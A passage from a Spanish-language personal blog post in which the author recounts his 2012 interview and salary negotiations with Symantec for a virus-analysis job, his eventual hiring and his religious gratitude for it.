La mano de Dios se vuelve a hacer presente, para mi gran sorpresa, las preguntas se centran en ataques y temas de seguridad pero nada relacionado con Analisis de Virus, despues me muestran codigo en C y Ensamblador y me piden que les explique que es lo que hacen y que falla pueden tener, me va muy bien, flaqueo un poco en Ensamblador pero bien, finalmente me hacen unas preguntas de Sistemas Operativos y despues de 2 horas de preguntas y ejercicios me dice Liam: “Daniel, hemos terminado con la entrevista, me permites un momento?”, me pone en espera y... despues de unos segundos, regresa Liam y me dice:

 “Daniel, el nivel que mostraste definitivamente no era el que esperabamos, consideramos que estas a un nivel mas Senior y por ende tratare de cambiar la vacante a una posicion un poco mas alta para tratar de que el salario mejore aunque no sea lo que tu pretendes, en cuanto tenga una respuesta te la hare saber.”

Yo le agradezco a Liam infinitamente, le hago saber mi emocion por la noticia y cuelgo el telefono.
Cuando colgue esa llamada me cayo el “20” de que Symantec estaba interesado en mi!!!!!! Y entonces todo cambio, en ese momento decidi que alli queria estar y que ojala y le pudieran aprobar el nuevo puesto para que mi salario no estuviera tan afectado considerando que el nivel de vida en California es muucho mas caro que en Chicago.
Sabia que esta oportunidad era unica, posiblemente no se presentaria de nuevo en mi vida, y aunque asi fuese, la experiencia necesaria para entrar seria un obstaculo importante, y es que en Empresas como Symantec, Microsoft o Google, son tan particulares que es dificil tener el nivel de conocimientos requerido, por citar un ejemplo, en que otra empresa del mundo estarias lidiando con un error en el codigo fuente de office? Solo en Microsoft!!!, comunmente la gente empieza de cero, contratada recien egresada de la Universidad, ahi se desarrolla, ahi aprende, ahi se vuelven expertos, la otra opcion es cuando eres un genio en cuyo caso estas Empresas te convencen para que trabajes con ellos, pero este scenario es muy raro y por ende solo para algunos, pero para los mortales como yo, que venimos de afuera (otro pais), es dificil tener el mismo nivel y convencer en las entrevistas. Por eso, lo repito siempre, la mano de Dios se hizo presente, Dios me habia dado esta oportunidad y debia tomarla a como de lugar.

Julio 17, 2012, 07:14 PM:

Despues de varios dias de incertidumbre! Llega el tan anciado correo de Liam el cual dice: 

“Desafortunadamente no podemos incrementar el salario para esta vacante en este momento, tal vez en el futuro tengamos una posicion mas cercana a tus habilidades, te contactare si se da la oportunidad. Mientras tanto, deseo que encuentres un trabajo que te permita seguir en el campo de Analisis de Virus…”

Exacto… asi como se quedaron me quede yo, no solo fue la mala noticia sino que tambien se estaba despidiendo de mi!
Despues de una hora pensando decidi pedirle que me contratara para el puesto actual, sin importar que el salario estaba muy por debajo de lo que yo ganaba, Liam contesta que podemos platicar al respecto y que me marcara el Miercoles 18 de Julio.
Cuando escucho esto, me vuelvo a poner contento y estoy casi seguro que solo es cuestion de formalizar mi contratacion.

Julio 18, 2012, 06:00 PM:

Llega el dia! Me habla Liam, me empieza a explicar los detalles del puesto pero como si estubiera tratando de convencerme de no tomarlo! frases como: “El salario es TODAVIA mas bajo de lo que habiamos platicado, no tienes derecho a bono, etc, etc”. Para que se den una idea, el salario propuesto era un poquito mas de lo que ganaba cuando llegue a USA en 2008 (4 años antes), solo que habia una importante diferencia: Ese salario era en Memphis, Tennessee donde el costo de vida es muchisisisisimo mas bajo que en California (la renta en Memphis era de $900 USD cuando en California es de $2200! Por ejemplo).
En fin, con todo y todo, que le digo a Liam: “Ok, me gusta, quiero el puesto, que me dices?”. 

En este momento yo esperaba una respuesta como: “Perfecto, formalizemos esto, o algo asi”, al final, quien no quiere a algo bueno y barato no? (asumiendo que el decia que yo tenia un nivel por encima del puesto vacante). Pero su respuesta de Liam fue muy diferente: 
“Ok, entonces pues… mmmm… dejame ver como esta la situacion porque ya estaban avanzadas las platicas con otro candidato, pero te resuelvo al final de esta semana”.

Entonces colgue muy triste, me habia dado cuenta que ni pidiendo entrar a Symantec sin sueldo seria aceptado, otra vez a nada de ser contratado y con todos los sueños en el aire, derepente todo se desmoronaba. Me fui a casa, muy pensativo, y entonces me entro un poco de dignidad y decidi darle las gracias a Liam, asi que que le escribi un correo diciendole: “Me emocione tanto de entrar a Symantec que puse a un lado los intereses de mi familia, con el sueldo propuesto y sin bono, definitivamente no puedo soportar los gastos en California, con el sueldo propuesto inicialmente mas un bono podria ser la unica opcion que me funcionaria. Estoy triste porque en verdad que me queria unir a tu equipo. Por favor dejame saber si en el futuro se habre un puesto a mis necesidades. Gracias por todo”.

Despues de enviar este correo, honestamente ya no esperaba ninguna respuesta, de hecho ya estaba convencido de que era la mejor decision e incluso estaba a punto de aceptar la oferta de otra Empresa que estaba esperando mi respuesta 2 semanas antes!!!!

Julio 19, 2012, 07:21 PM:

Me contesta Liam un dia despues y me dice que si estoy  de acuerdo “Lore” de recursos humanos me hablara para ver si podemos llegar a un acuerdo.
Otra vez vuelve la incertidumbre, sin idea de que queria Liam, pero esta vez sin esperar buenas noticias quedo en espera de la llamada.

Julio 20, 2012, 03:00 PM:

Este dia es muy especial porque fue cuando cumpli el primer mes de novio con el amor de mi vida y que ahora es mi esposa… Diana. Solo queria comentarlo...

Me habla “Lore” y me dice: “Daniel estamos interesados en que trabajes para Symantec, te respetaremos el salario propuesto inicialmente y te daremos un bono extra tratando de acercarnos un poco a tus expectativas economicas, mas estos y otros beneficios, que dices?”, yo acepto inmediatamente!!!! "Lore" y yo super contentos, y finalmente me dice que espere la carta formal en siguiente dia!

Cuelgo el telefono y no grite porque estaba en la oficina pero tenia un gusto inexplicable en mi Corazon y le agradeci a Dios tanto tanto por ser tan bueno conmigo, el trabajo de mis suenos se habia concretado mientras yo me reenamoraba de mi carrera professional la cual ya estaba a unos minutos de firmar el divorcio con la misma.

Gracias Dios! Para ti toda la Gloria y toda la honra. 

Octubre 14, 2012,  11:40 PM:

Hoy a 2 meses de trabajar para Symantec les puedo decir que reafirmo que Dios me puso este trabajo, los compañeros son estupendos y muy talentosos, mi jefe genial, la ciudad Culver City fantastica, hermosa, me voy todos los dias caminando al trabajo disfrutando de la creacion! En fin, era lo que Dios tenia preparado para mi.

AMEN.